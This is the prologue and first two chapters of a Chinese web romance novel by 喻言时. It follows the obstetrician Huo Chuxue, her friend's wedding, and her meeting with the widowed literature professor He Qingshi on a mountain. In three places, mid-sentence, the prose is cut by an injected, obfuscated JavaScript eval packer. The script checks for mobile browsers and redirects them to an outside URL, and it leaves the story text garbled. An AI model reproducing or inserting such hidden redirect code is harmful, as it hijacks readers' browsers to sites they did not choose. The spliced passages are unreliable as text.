《早春不过一棵树》 1. 楔子 《早春不过一棵树》 喻言时/文 2018.7.10 晋江文学城独家发表,谢绝转载,请支持正版 这里荒芜寸草不生, 后来你来这走了一遭, 奇迹般万物生长, 这里是我的心。 ——周将《沙漠》 - 楔子 梵于的冬天冗长而沉寂,一年中有大半年都是在隆冬,有的只有树叶落尽的萧索,和窗外扑簌簌的雪花。 圣诞节过后,这个外人口中的“冰雪之城”则越发严寒,蚀骨锥心的寒冷让霍初雪根本就招架不住。 她已经病了三天了,重感冒,头重脚轻,整个人都有气无力的。 头两天还坚持带病上班,可到了第三天身体实在扛不住,果断跟科里请了半天假在家休息,一下午都没离开过床。 她意识涣散,眼神空洞,只知道傻盯着左侧窗柩发呆。 玻璃上已经结了薄薄的一层窗花。隔着冰层,屋外的世界含糊不清,阴冷而又沉默。 傍晚时分,天色已经渐趋昏暗,雾霭沉沉。几棵老树上盖了沉甸甸的积雪,枝干都快被压断了,仿佛一个个迎着风雪而立的老人,佝偻着身体,止步不前。 室内供暖充足,霍初雪盖着厚实的一床被子,可依旧觉得很冷很冷。小小的身体蜷曲成一团,瑟瑟发抖,好像被窝四处都在灌风。 哪怕来梵于已经整三年,她还是适应不了这里的天气,一入冬就容易感冒,每次感冒还偏偏拖好久。 所以说当初任性妄为来梵于工作,完全就是脑子进水了。人总要为自己的年少轻狂付出代价。 霍初雪是青陵人,地地道道的江南水乡姑娘。温和潮湿的气候待惯了,第一年来梵于,遇上了这般酷寒天气根本就不适应,生了一场大病,在医院足足住了一个月。 后面两年,因为气候原因,她大感冒小感冒无数。可以说是最“虚弱”的产科医生了。 不过她并不后悔。因为这座城市远在边境,她举目无亲,不会再和青陵有任何牵连。她可以真正做到摈弃过去,只活她自己。 室内没开灯,狭小的空间里一丝丝微光浮现,光影交错,显得尤为朦胧不明。 霍初雪的视线也随着周围的光线暗淡下来。 搁在床头柜上充电的手机屏幕黑着,低迷深醇的男声如潺潺流水流淌在耳畔,取悦着听觉神经—— 雨季一过,门栏前吐新芽是我 隆冬时节,壁炉烟尘是我 枝桠伸往,更远处的芦边湖泊 鸟儿惊起,便将叶子抖落【注】 …… 单曲循环已经不知道多少遍了。 不到六点,天彻底黑下来了。公寓门传来开锁声,窸窸窣窣的一点声响,在这寂静的屋子里显得尤为清晰,甚至可以说是突兀。 毫无悬念,是自己的室友傅凉微回来了。 傅凉微是霍初雪在这座城市认识的第一个朋友。认识傅凉微那年,正是她最狼狈不堪的时候,俨然就是一个战败的逃兵,伤痕累累,灰溜溜地从青陵逃到梵于,一躲就是三年。 而傅凉微当时的情况也不会比她好多少。 两个姑娘相识于微末,同病相怜,惺惺相惜。傅凉微成为了除乔圣晞以外,霍初雪最好的朋友。 不过数秒,霍初雪便听到熟悉的脚步声,一扇木门外,温柔的女声慢慢逼近,“小雪,我可以进来吗?” 她挣扎着支起身子,朝着卧室门虚弱无力地回答:“微微,门没锁,你直接进来。” 傅凉微迈步入内,迎面就问:“你今天下午感觉怎么样啊?” “还是老样子,没什么力气。”霍初雪牵扯两下嘴角,嘴唇干涩得都有些起皮了,唇色也暗淡,瞧不见几分红。 傅凉微一听立刻拧起眉毛,面露担忧,“你感冒都已经三天了,你还是去医院输液吧,吃药不见好,这样一直拖着可不行。” 霍初雪不甚在意地摆摆手,“我自己就是医生,心里有数。每次感冒就得这么折磨我几天才会好,我都已经习惯了。” 傅凉微无奈笑了笑,“‘医者忌医‘,这个词说的就是你这种人。” 霍初雪尖俏的瓜子脸上浮出一抹虚弱的笑容,眉心舒展开来,倒也没否认。 她嗓音艰涩,“我只是比较了解自己的身体状况。” 他们当医生的,天天待在医院里,说得难听点消毒水气味儿都闻吐了,一般没大毛病,谁都不愿再往医院跑。 傅凉微竖起耳朵听了听环绕在房间里的歌词,忍不住说:“你怎么又听这歌儿了,天天听,听不腻啊?” 霍初雪微微一笑,“觉得挺好听的,你不觉得这首歌它的歌词写得很美么?” “歌词是挺美,还很有意境。”两人对视间,傅凉微眉眼间流露出一丝遗憾,“可惜这歌儿不适合我。我一听总感觉歌词里唱的是自己。民谣应该留给那些真正孤独的人听。” 可不是么! 傅凉微温和关切的目光落在霍初雪苍白的面庞之上,忍不住说:“你可得赶紧好起来,我听小董说你霍大医生可是你们产科的顶梁柱,你们刑主任就差把你当宝贝给供起来了。” 霍初雪:“……” 真是越说越离谱了! 霍初雪扶额失笑,“哪有那么夸张!” “是小董说的,又不是我说的。”傅凉微耸耸肩,说着就往门外走去,“你自己当心点身体,别整严重了。我就先不跟你说了,赶着出门。” 霍初雪勾了勾嘴角,语气松快,“傅老师这是要去约会了?” 傅凉微漂亮的柳叶眉皱着,一副颇为不耐烦的模样,没好气道:“约会个毛线,最近几天A大的一群老师来我们学校开讲座,今天下午刚到。晚上领导要在满味轩给他们接风洗尘,我被校长拉去凑数的。” 霍初雪:“……” “青陵A大?”从傅凉微口中听到“A大”,霍初雪的心当即咯噔一下,犹如巨石落水,狠狠沉了一沉, “不然还有哪个A大,985名校,牛逼哄哄,这次光教授级别的就来了十多个。听说还有个很厉害的文学教授,长得特别好看。” “叫什么?”她睫毛轻颤,声音紧接着就抖了两下。 “好像是叫贺清时。”傅凉微歪头想了想,下意识问:“小雪,你本科和研究生也是A大医学院读的吧?认识这个贺教授么?” “贺清时……”霍初雪在心里默念两遍。 一刹那,心湖翻涌,枯井一般沉寂的一颗心难以遏止地抽疼了两下。 平地起波澜,山呼海啸,前尘往事见缝扎针直往脑门钻。 呼吸瞬间变得急促起来,垂在一侧的右手不自觉抓住羽绒被的一个角,死死攥在手心里。 可最终她还是极力稳住声线,“嗯……认识……” 事实上何止认识,这个人于她而言简直是熟得不能再熟了。 她心口发闷,只觉得满腔苦涩卡在喉咙里,吞不下去。 “熟吗?”傅凉微继续追问。 “什么?” “你和这个贺教授熟不熟?” “不……不熟。”怕被傅凉微瞧出异样,她赶紧慌乱地移开视线。 “长得真有那么好看啊?”傅凉微瞬间被引燃八卦因子,迫不及待问:“别不是瞎传传的吧?” 霍初雪深吸一口气,故作平静回答:“还可以。” 模棱两可的答案,听不出具体情绪。 傅凉微听完扬了扬细眉,自然接话:“你这种外貌协会都说还可以了,那肯定不赖。” 霍初雪:“……” “我什么时候说自己是外貌协会了?” “你来梵于三年都不见你谈恋爱,我听小董说你们医院都有好几个男医生追你,可你愣是一点心思都没有。肯定是没看上人家呀!我估摸着怎么也得顾砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487853|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钦和黎瑭那样的人间绝色才入得了你的眼。” 霍初雪:“……” 又是小董!等她回医院一定要把小董的嘴给缝上,这姑娘简直太能八卦了! “一想到今晚能看到美男,我就兴奋!”傅凉微眉飞色舞,神色激动,言语间满是期待,“我赶紧换身衣服去,再画个美美的妆,争取让人家多看我两眼。” 霍初雪:“……” —— 傅凉微来去匆匆,屋子里很快便空了。 霍初雪掐断单曲循环,偌大的空间再度归于沉寂。 她怔然地望向窗外的世界,大地银装素裹,万家灯火错落有致。 这座小城同样璀璨繁华,满目琳琅。 只可惜太冷了! 这种冷就像是黏腻的蛛网密密麻麻爬满四肢百骸,针扎似的刺破表层皮肤,然后再一点一点渗透进骨头缝里,甩不掉,挣不开,只能任由它整个吞噬。 霍初雪手脚冰凉,牙齿打颤,整个人裹紧被子蜷缩成一团,像是一只巨大的茧。 通体白色,了无生气。 也不知道过了多久,手机发出嗞嗞震动声,提醒她有微信进来。 她这才将目光从窗户上挪开,缓慢合上眼皮。因为长时间睁眼盯着一个地方看,眼睑酸涩难耐,几滴清泪悄然涌出,径直滑下脸颊,稳稳当当地砸在手背上。 她倏然惊觉,眼泪居然也可以是凉的。 她伸手拔掉充电器,手机已经满格了。可人呢?生病的人什么时候才可以满血复活? 傅凉微在微信上给她发了个视频过来。 傅凉微:「小雪,太帅了,妖孽啊!我要晕了!!!」 三个叹号都不足以表达这姑娘的激动程度。 霍初雪死死盯着手机屏幕,握手机的那只手有些许颤抖。 她费力点开视频,那是她最熟悉的人。 这人还是那么喜欢穿西装,打领带,衬衫纽扣扣得一丝不苟。年纪轻轻却显得老气横秋,严谨又刻板,一如当年。 三年未见,他似乎清瘦了一些,下巴变尖了,两侧的腮骨凸出,格外明显。不变的只有他那与生俱来的疏离,遗世独立。 真的是贺清时啊! 太久没有听过这个名字了,久得她几乎都快忘记了。 她近乎痴迷地望着男人那张脸,不知为何,眼泪突然抑制不住,犹如决堤的洪水,一发不可收拾。 大概是病了,人也变得越发敏感脆弱。任何一点细枝末节便能轻易带出过去无数的委屈和无助。 于霍初雪而言,“贺清时”这个名字就是悬在她心底的一道魔咒。不论是她自己想起,还是从别人口中听到,都足以令她失常,溃不成军。 三年了,她原本以为时间已经过去够久了。她早就已经忘记了这个名字,忘记了它背后的那个人,以及他们彼此纠缠的那段感情。 殊不知,有些东西揉进骨血,时间过去越久,她就越无法忘怀,深埋在心底,牵一发而动全身。 嚎啕大哭了一场,肆意宣泄,困意接踵而来,霍初雪昏昏沉沉的睡了过去。 也不知道自己究竟躺了多久,再有意识之时,她隐约听到了开门声。 傅凉微这么快就回来了? 她坐起来,抬手摁亮手边的开关,顶灯透亮,刀尖一样扎着眼珠子,几乎有些睁不开。 “砰砰砰……” 一段急促的敲门声钻进耳膜,人都跟着清醒了。 “进来!”她看向门口,扬起声线,“微微,这么快就结束了?” 同一时间,房门被人轻轻推开,门外的人不是傅凉微,而是那个她永远都意想不到的人。 四目相对,霍初雪的脑子嗡嗡作响,全身上下的血液在一瞬间冲上脑门,狂热地敲击太阳穴。思绪犹如浇了油的转椅,飞速转动起来…… “对了,忘记问先生你的名字了。” “贺清时,清时过却的清时。” 2. 第1棵树 第1棵树 伴随着一阵清透响亮的婴儿啼哭声,指针指向零点,不偏不倚。 2015年3月1日,新的一个月,新的一天。 手术室里静谧无声,所有医护人员都在有条不紊地进行着一台剖宫产手术,同事之间配合默契。 霍初雪是这台手术的主刀医生,到目前为止,她已经轮轴转了三十六个小时了。生孩子都扎堆,这是她目前接生的第五个孩子。 长时间高强度的工作,医用口罩遮挡下的面庞,无不透着疲惫。 她利落地操纵手术刀,音色沉稳,“剪脐带。” 因为一个新生命的降临,在场医护人员的心情明显变好了,一扫之前的倦色。 助产士乔圣晞笑着说:“这个孩子太会挑时候了,一个月的第一天多好的日子啊!” 乔圣晞是霍初雪的好闺蜜,两姑娘是邻居,从小一起玩到大,好的能同穿一条裤子。大学两人一起学了医,毕业后一同进入A大医学院附属第一医院工作,一个是助产士,一个是产科医生,两人经常搭台手术,默契值非常高。 乔圣晞一说,同台的护士林瑶也跟着笑起来,“我妈说月初出生的孩子一般都特别有福气,没准这孩子以后能一路开挂。” 霍初雪默默听着两人的对话,手头缝合动作不停,格外娴熟,行云流水一般。 她低头瞥了一眼手术台上的产妇,年轻漂亮的女人睁着眼睛,静静地听着,表情温柔。 产妇温声道:“我也不求他以后多厉害,健康长大,做个普通人挺好的。” 她动了动干涩的嘴唇,笑着说:“你这思想很好,以后不会给孩子太多压力。” 手术结束后,霍初雪身心俱疲,感觉身体彻底被掏空。 手术室外,产妇的丈夫焦急地侯在那里,来回踱步。这人四十岁出头的年纪,西装革履,皮鞋澄亮,一身业界精英的装扮。可头顶油光可鉴,脸上二两横肉,肥头大耳,怎么看怎么油腻。 霍初雪和护士林瑶一同走出手术室,林瑶手里抱着刚出生的婴儿。 一看到两人出来,中年男人忙迎了过来,焦急迫切地问:“医生,是男孩还是女孩?几斤啊?胖不胖?” 产科是最能看透人情冷暖的地方,所有人性的劣根性到了这里都会被无限放大,无处遮掩,原形毕露。身为产科医生,霍初雪看多了所谓的“好老公”。 产科医护人员几乎已经形成了某种不成文的规定,医生一出来问孩子是男是女,多高多重,而对老婆状况不闻不问的老公,她们一般会在心里翻白眼。 而医生出来后问是否母子平安,老婆情况怎么样这样的老公,一般满分通过,微笑祝贺,并第一时间告知所有情况。 眼前的男人就是前者,眼里心里只关心孩子,只字不提忍着剧痛生产的妻子。 霍初雪和林瑶对视,林瑶冲她翻了个白眼。 又是“中国好老公”一枚! “母子平安,恭喜!”林瑶把孩子抱给男人看,隔着医用口罩,她冷冷淡淡地说:“你老婆很辛苦,去看看她吧。” “是儿子?”男人激动得语无伦次,抓住林瑶的手不放,“谢谢医生,你们真是我们家的大恩人……太感谢了……太好了,是儿子……我们老王家有后了……” —— 凌晨,整栋医院大楼静谧无声,显得尤为冷清。浓郁的消毒水味道混在空气里,挥之不去。 换下手术服,霍初雪拖着疲惫不堪的身体去了阳台,吹吹冷风能让人沉静。 相较于医院的冷清,外面的世界却是热闹欢腾,霓虹闪烁,灯火通明。 A大医学院附属第一医院位于青陵市中心,周边全是高大的建筑群,娱乐场所无数。不论在哪座城市,市中心断然是没有白昼之分的,很多人歌舞升平,彻夜狂欢。 零点刚过,站在产科楼的18层,放眼过去,能看到远处高楼上立着许多广告屏幕。屏幕上方的画面每隔一段时间就自动切换,娱乐圈的一些当红明星是颜值担当。 这个夜晚,这座南方城市出奇的热闹。 而对于霍初雪来说,自从进了产科,每个夜晚都是忙碌紧凑的,争分夺秒,同事们配合默契,成功迎接了一个个新生命。 产科医生很累,时常精疲力尽,可看到新生命降生的那刻,他们又是幸福而满足的。 早春的夜风依然寒冷,丝丝缕缕的寒意缠绕在四周,吹久了都能冻僵人骨头。她拢紧了风衣的衣领,缩了缩脖子,转身回休息室。 在休息室勉强眯了几个小时,到了上午八点她和同事交接班。 姑姑方茹看她满脸的疲惫,心疼地说:“赶紧回去补觉,黑眼圈都熬出来了。” 方茹时任妇产科主任,霍初雪就是她一手带出来的。当初家里人个个竭力反对她学医,可她倒好,不仅学了医,还去了最苦最累的产科。除去急诊科,产科一定是整个医院最辛劳的一个科室了。不仅工作强度大,压力与日俱增,而且待在产科见多了各色“老公”,很多姑娘年纪轻轻就患上了恐婚症,科室里大龄女青年一抓一大把。 霍初雪揉了揉肿胀发惹的太阳穴,瓮声瓮气的,“交接完班就回去。” 方茹拍拍她的肩膀,“过两天来家里吃饭,最近累到了,你姑父亲自下厨给你做好吃的。” 她咧嘴一笑,“好嘞!” 口头答应着,却没放在心上。她家姑姑铁定是受了母亲的嘱托来给她做思想工作的。她一上门估计就会有相亲对象坐在那儿等着她。她才不上当呢! —— 交接完班,霍初雪回休息室换衣服,准备下班。 乔圣晞坐在休息室里等她,盘着二郎腿,气定神闲,像个贵妇。 她一走进去,好闺蜜就劈头盖脸问她:“怎么滴,咱们周大医生的婚礼你去还是不去啊?” 霍初雪:“……” 医生一旦忙起来就容易忘事儿。她怎么忘了今天可是周末结婚的大喜事。产科最近产妇多,她都忙昏头了。 她和周末两人青梅竹马,却是有缘无分。周末和邹依从高中毕业一直走到现在,如今都要结婚了。 霍初雪没什么好惆怅的,都是过去的事情了。就冲这从小一起长大的情分,周末结婚她就不能缺席。 “去!”她笃定地说:“干嘛不去!人结婚这辈子也就这一次,我怎么能不去。” 乔圣晞嗤一声,埋头嘀咕:“没准还有第二次呢!” 霍初雪:“……” 好闺蜜还真是见不得周末好呀! 年少懵懂的年纪,霍初雪喜欢过周末。可人周末对她根本就没那心思。 高二那年邹依转学来到青陵一中,成为她和周末的同班同学。不知不觉,这两人就对上眼了。霍初雪的暗恋无疾而终。 为此乔圣晞就一直觉得是周末始乱终弃,邹依横刀夺爱,特别不待见这俩人。 周末和邹依高中毕业后在一起,乔圣晞就一直暗中希望这两人分手。可大学四年,研究生三年,再到如今工作,这两人风雨无阻,情比金坚,愣是没分手。如今这都要结婚了。 乔圣晞盯着她看,试探道:“小雪,你真不觉得膈应啊?” 霍初雪:“……” 霍初雪扶额,分外无语,“西西,都过去多少年了,我早对周末没感觉了。” 乔圣晞听她这样说,直接起身,“行吧,我回家拾掇一下,咱俩一起去。” —— 霍初雪回到家,洗了个澡。头发还没吹干,周末的电话就打过来了。 “小雪,你到哪儿了?你爸妈可都已经到了。你是不是迷路了,要不我派人去接你吧?” 霍初雪:“……” “你别派人来接我,我已经快到了。”只能睁着眼睛说瞎话,事实上她连门都没出。 电话那头周末深信不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487854|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑,“那你抓紧点啊!大家伙可都在等你呢。” “知道了。”她利索地挂了电话。 掐断电话后,霍初雪便开始翻箱倒柜找衣服,随便找了件衣服套上,她拿上手机钱包就出门了。 周末的婚礼走的是乡村田园风格,婚礼放在青陵周边的一个小县城望川县举办。新娘邹依是望川本地人,也算是回归故里、就近安排。 望川县和青陵毗邻,响应国家建设新农村的政策,依托青陵的辐射带动作用,当地政府重点开发治理,大力发展旅游业,最近几年经济发展越趋良好,人民生活水平提升迅猛。 三月初,正是望川县的旅游旺季,临时买高铁票自然是买不到了。霍初雪别无选择,只能自己开车过去。 从青陵市区开车到望川县需要近两个小时,开快一点应该可以赶上婚礼仪式。 阿门,保佑她能赶到! —— 霍初雪接上乔圣晞,两人一同去望川。 三月份梨花盛开,岑岭的梨花举国闻名。这个季节去望川县看梨花的人不计其数,高速一路都在堵。 车子一上高速,霍初雪便接到了母亲谢明柔的电话。 “小雪你到底到哪儿了?” “刚出市区。”对母亲她没有什么好隐瞒的,实话实说。 谢明柔:“……” “那婚礼你还来得及么?” “我尽量赶时间。” “你注意安全哈,车别开太猛,实在赶不及也没事儿,你医院忙,周叔叔和邓阿姨会理解的。” “嗯。” 见霍初雪收起手机,乔圣晞扭头问:“你妈催你了?” “没催我,就是问我到哪儿了。” 乔圣晞忽的叹了口气,“中午饭多半是赶不到了。” 她透过挡风玻璃瞟一眼,长长的一排车流,她的车子隐在其中,一眼望不见尽头。她心里也是一阵愁,这堵车堵得也忒凶猛了点。 —— 尽管路上堵车很严重,但不得不说老天爷还是眷顾她们的,在婚礼仪式举行前半个小时两姑娘赶到了。 今天是周末的大喜事,年轻的男人格外意气风发。 和周末比肩而立的新娘邹依一身白纱,高贵大方,浅笑吟吟,和来往宾客相谈甚欢。再也不是高中时那个总是微微躬着背,沉默寡言,只会埋头写作业的小女生了。 两人既养眼,又登对。 霍初雪和乔圣晞给两位新人随上份子钱,并微笑着送上祝福,“新婚快乐,百年好合!” “谢谢。”两人齐声道谢。 邹依看着霍初雪,笑容满面,“小雪,我等会儿就把捧花扔给你,下次就该喝你的喜酒了。” 霍初雪笑得爽朗,说:“好啊,赶紧让我摆脱单身狗的行列!” 乔圣晞拍拍她肩膀,揶揄:“我也巴不得我们小雪赶紧结婚,让她深刻体会一下已婚少女的人生。” 霍初雪:“……” 鉴定完毕,是亲闺蜜没错了! 婚礼现场被布置得格外漂亮,气球彩带环绕,各种花卉铺了一地,浪漫唯美。 在无数亲朋好友的祝福下,两位新人步入婚姻的殿堂。 霍初雪无心抢捧花,可捧花还是直直朝她砸了过来,成功落进她怀里。 抢到捧花的她被众人好一阵调侃。 家里酒楼生意红火,离不开人。周末的婚礼一结束,霍广源和谢明柔夫妻俩就直接回青陵了。 乔圣晞是已婚人士,家里还有老公和孩子,行动受限,自然不能像霍初雪一样浪来浪去。婚礼一结束她也着急忙慌地回了青陵。 霍初雪轮休三天,一下子就清闲下来了,她打算在望川县玩两天再回去。 她还不知道,就是这个决定,让她此后的人生有了翻天覆地的变化。 很多年以后她蓦然回首,不得不感叹,有些人命中注定会遇见。 3. 第2棵树 第2棵树 望川县有座岑岭山,自古以盛产酸梨闻名。一整座山上都种满了梨树。 三月份正是梨花盛开的季节,千树万树梨花开,满山雪白。吸引了很多外来游客前来观赏。 霍初雪正好赶上了这个好时节,自然不愿意错过。何况平日里工作忙,成天都泡在医院几,她能出来旅游的机会实在是太少了。 周末和邹依听说她要去岑岭玩儿,两人主动提出一同陪她前往,邹依是当地人,还能给她当当导游。不过她委婉拒绝了。人小夫妻新婚燕尔,正是甜蜜,她怎么好意思叨扰人家。 她一个人驾车去了岑岭。一个人的旅游也别有一番情调。 通往岑岭有很多条路线,可每条都是山间小道,蜿蜒曲折,车子上不去,只能徒步上山。 霍初雪在山脚定了酒店,把车子停在酒店停车场,自己徒步上山。 她的计划很简单,上山看看梨花,用不了几个小时她就得下山。然后再去下一个景点继续逛。 岑岭不高,正常徒步到达山顶都花不到两个小时。但由于当地前两天刚刚下过一场大雨,上山的路不太好走,霍初雪花费了不少时间。 一路上游客络绎不绝,都是冲着这漫山遍野的梨花而来的。 越往山顶梨花开得越漂亮,景色也越是怡人。 霍初雪虽然学医,思维严谨,但也继承了母亲谢明柔的文艺细胞,喜欢这些花花草草。看到这些花花草草,她的心情就会变好。 置身梨花的海洋,近日来的疲惫感瞬间一扫而空。 她旅游不喜欢跟随大部队,她喜欢独辟蹊径,往人烟稀少的地方走。那些地方总是有意想不到的美景等待着她。 抵达山顶以后,再下山,她没跟随大部队,而是走了另一条小路。 另一条小路的景色出人意料的美丽。不仅有千万树梨花,更有许多怒放的桃花。 不仅如此,她还在半山腰处发现了一栋小别墅。 两层半的小别墅,自带小院子,篱笆围了一圈。 这房子看上去上了年岁,有些沧桑和荒凉,外墙的漆掉了不少,整面墙都是爬墙虎,郁郁葱葱。不知道有没有人住。 这应该是整座岑岭唯一的一栋房子了。 寸土寸金的旅游胜地,有人居然能够在这里建一栋别墅,主人的身份必然非富即贵。 漫山遍野的梨花包围着这么一栋别墅,隐在山间,远离尘世的喧嚣,她有种误入桃花源的错觉。 经过这栋小别墅时,她不由自主地就停下了脚步。 隔着一道可有可无的篱笆栅栏,别墅的门大开着,没有上锁。里面的陈设规整而富有条理,井然有序。 好奇心使然,她推开篱笆走了进去。 —— 学医的女生大多胆子够大,依到一般的女孩子,这样一栋别墅不合常理地出现在山里,而且还这么富有年代感,她们只会觉得诡谲。自然不敢像霍初雪这样贸然走进去的。 她轻轻唤一声:“有人吗?” 她慢慢地走到客厅,每走一步都是小心翼翼的。 周围静谧无声,没有人回答她。 客厅里摆放的物件看上去都很新,但每一样物什却上了年岁,都是十多年前的老款式。 “有人在吗?” 她离开客厅,打算去院子里看看。 后门也没上锁,虚掩着,押了一道窄缝。后院无数葱绿映入眼帘。 她抬手轻轻一推,门就开了。 小小的院落,和别墅一样沧桑,各种野花和杂草长了一地。荒芜之地,斑驳陆离。 霍初雪最先注意到的是院子中央有一株硕大的枇杷树。那棵树枝干粗壮,和她的大腿一般粗。枝叶茂盛,鲜.黄的果子隐在翠绿的叶片后面,若隐若现。 因着岑岭一带的气候,这边的枇杷成熟得要比别的地方早。堪堪三月份,枇杷就已经可以吃了。 树下竟然坐着一个男人。 那是个很年轻的男人,她估摸着三十岁出头的样子。他正慵懒地躺在藤椅上,脑袋歪在一边,睡得酣熟。 藤椅旁有张石桌,桌上煮着清茶,茶水沸腾,咕噜咕噜冒着气泡。 她深吸一口气,五脏六腑具是茶香。 上好的涑明茶,岑岭一带的名茶,她闻一闻香味儿就辨出来了。 他身穿一件白色圆领毛衣,黑色棉质长裤,身上盖着一条毛毯,可毯子滑落,只遮住了一双腿。 他怀里揣着一本书,胶装精简,蓝色的硬壳封面,几个硕大潦草的白底字撞进眼里—— 《风声雨声》 竟然是母亲的书! 霍初雪的母亲谢明柔是国内著名的言情女作家,写过无数荡气回肠的爱情故事,是国内言情小说的奠基人。《风声雨声》是她十年前的成名作,一经发表,便受到无数读者追捧。这部小说深受读者喜爱,十年间光再版就再版了三次。 男人怀里这本是最早的一个版本。 这本书久经时光淬炼,可看上去很新,除了纸张有些许泛黄,不见断线脱胶,也没看到断章缺页,一点毛病都没有。可见主人将它爱惜得很好。 这人睡得很熟,夕阳的光透过枇杷叶的缝隙斑驳地照在他白皙的脸庞上,微光浮动,忽明忽暗。 微风从旁吹过,枇杷树不断发出沙沙沙的声响,萦绕在耳畔,像是有人在浅浅清唱。 风撩起男人细碎的头发,他前额开阔,隐约可见几道浅浅的鱼尾纹。 霍初雪一时间竟失了神。恍然间,很真切地认识到这是一个有故事的男人。 她侧身将煮茶的小炉子给关了。 这锅茶要是再这样煮下去那就该废了。 许是她的动作不够轻,吵醒了男人。 她回头再看向他时,他正睁眼看过来。似乎是真的睡着了,那一双眼睛朦胧微眯,眼神空洞,是失焦的。 两人四目相对,男人对于霍初雪这个不速之客明显是诧异的。 “你是?”他一开口,嗓音混沌,略微嘶哑。 女孩娉婷地站在他面前,身姿曼妙,长风衣被风撩起衣角,里头灰蓝色的衬衫一闪而过。贺清时只捕捉到一抹蓝影。 她的目光投向他怀中的书,轻轻笑着,眼尾透着光,“这位先生,你喜欢《风声雨声》?” 她实在想象不出眼前这样一位光风霁月的男人竟然会喜欢看母亲十年前出版的三流小言。 他垂眸看向那本书,眼神温柔,轻声向她解释:“我太太喜欢这本书,我闲来无事用来打发时间。” 霍初雪:“……” “你太太呢?”她四下环视这个小院子,院子荒芜成这副田地,真是一点也不像有女主人的样子。 他下意识避开她探究的目光,慢腾腾地回答:“去世了。” 霍初雪:“……” 男人说这句话时表情很平静,丝毫没有难过和哀伤,甚至连惋惜和惆怅都听不出来。 很显然他早就已经接受了妻子的去世。可不知为何,霍初雪却隐隐觉察到男人的内心远不如他面上表现出来的那般平静。 她总觉得那种经过漫长时间打磨后才拥有的内心深处真正的平静和坦然,不是男人当下这个样子的。 一个男人在妻子去世后还能捧着妻子生前喜欢的书来打发时间,不用问她也知道他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487855|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感情一定很好。 “抱歉。”她轻声说,面露歉意。 她无意揭人伤疤,可却委实提了不该提的。 “没关系。”男人微微低头拿起怀里的书,小心地合上,动作轻柔,放置在石桌的一角。 然后掀开毛毯,从藤椅上站了起来。 两人离得近,他一站起来,霍初雪便觉得自己眼前投下一片阴影。他很高,目测185以上。 “小姐来岑岭旅游?”他的态度不算热络,语气清淡温和,俨然就是面对陌生人该有的语气。 只见他径直坐到石凳上,招呼一声:“要是不介意可以坐下喝杯茶。” “可以吗?”她有些不确定地问:“会不会打扰先生?” “不会。” 霍初雪依言坐到他面对,一双手规矩地放在大腿上,摆弄两下手指,如实相告:“我来岑岭旅游,可惜这山太大,绕来绕去就迷路了。路过你家看到门开着,就想找个人给我指指路。” “岑岭是大,不过绕到我家来的,小姐你是第一个。” 霍初雪:“……” 男人的语调淡淡的,听不出深意。可霍初雪却觉得他话里有话。 短暂的接触让她大致对于眼前这个男人有了一点浅薄认识。看似温润儒雅,骨子里却有些清冷,有种文人特有的矜贵。他应该从事着和文学有关的工作。 霍初雪当医生这么些年,见过形形色.色的人。识人,辨人的本事不说炉火纯青,倒也还是有一点的。 他给霍初雪倒了一杯热茶,清淡的茶香一直混在早春和煦的风里,纠缠着人的鼻息。 “小姐请喝茶。” 她伸手接过,“谢谢。” “刚才我睡着了,这茶的火候过了,小姐凑合喝吧。” “上好的涑明茶,七分火候就够了。” 涑明茶是岑岭一带的名茶,因希少而格外名贵。岑岭一带雨水丰沛,气候适宜,特别适合茶叶生长。当地茶叶品种繁多,诸多品种中当属涑明茶最为珍贵。 “小姐懂茶?”他微微抬眸,漆黑的瞳仁聚焦在她身上,无比深邃,脸上显露出几分意外。 她抿了小口杯中茶,唇上沾染上一圈水光,微微发亮,“我母亲爱好茶道,平日里总是倒腾这些,我耳濡目染知道一些。” “令堂应该是位会蕙质兰心的女子。”他面容平和,久不见笑,声线徐徐而温淡,“我太太生前也特别喜欢茶艺,时常在这个院子里煮茶给我喝。她去世以后,我就自己动手。可惜我悟性不够,煮出来的茶水总是缺了点味道。” 男人提起妻子的表情很温柔,眼角眉梢都浮现出光彩,神采奕奕。这让霍初雪对于这个早就离去的女人越发好奇。 能被这样一个男人深爱着,想来应该也是一个不可多得的精妙佳人。 不到到底只是萍水相逢的路人,她不请自来已经非常叨扰人家了。自然不能过多探听主人的隐私。霍家家教良好,霍初雪从小就被父母教育谨言慎行,什么该问,什么不该问,她心里门清儿。 “先生应该只是怀念之前的那种味道,有时候人的味蕾比人还要恋旧。” “小姐倒是看得通透。”男人环视四周,呢喃低语:“恋旧的人无时无刻不在恋旧。” 一杯茶饮完,男人适时给她续上,礼貌周到。 